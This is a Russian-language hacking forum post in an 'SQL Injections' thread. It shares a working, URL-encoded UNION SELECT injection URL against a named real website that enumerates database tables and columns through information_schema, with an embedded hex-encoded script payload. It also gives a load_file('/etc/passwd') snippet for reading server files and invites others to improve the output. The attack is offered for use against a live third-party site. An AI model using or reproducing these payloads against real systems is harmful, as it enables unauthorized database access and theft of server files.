SQL Инъекции

#11

18.05.2017, 22:27

BabaDook

Познавший АНТИЧАТ

Регистрация: 09.05.2015

Сообщений: 1,066

С нами: 5797046

Репутация: 40

Ахах, полчаса делал вывод, Вот что значит нет практики

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.indoramaeleme.com/media.php?id=59+u%6eion select 1,2,c%6fnc%61t(0x223c2f7465%37%38%37%34%36%317265613e27273e3c73%36%33%37%326970743e616c6572742822,table%5f%6e%61%6de,0x3e3e,%63%6f%6c%75%6d%6e%5f%6e%61%6d%65,0x22293b3c2f7363726970743e),4,5,6,7,8+%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%63%6f%6c%75%6d%6e%73%20%77%68%65%72%65%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29+--+-[/COLOR][/COLOR]

чтение файлов через hex(load_file(file)) вывод естественно с кодировки, кто сделает норм вывод поделитесь

PHP код:


		
			
[COLOR="#000000"][COLOR="#0000BB"]substring[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]load_file[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'/etc/passwd'[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])
[/COLOR][COLOR="#0000BB"]Вот что[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]открыл я доки[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]и понял что на русском нету[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]30  того что есть[/COLOR][COLOR="#007700"].[/COLOR][/COLOR]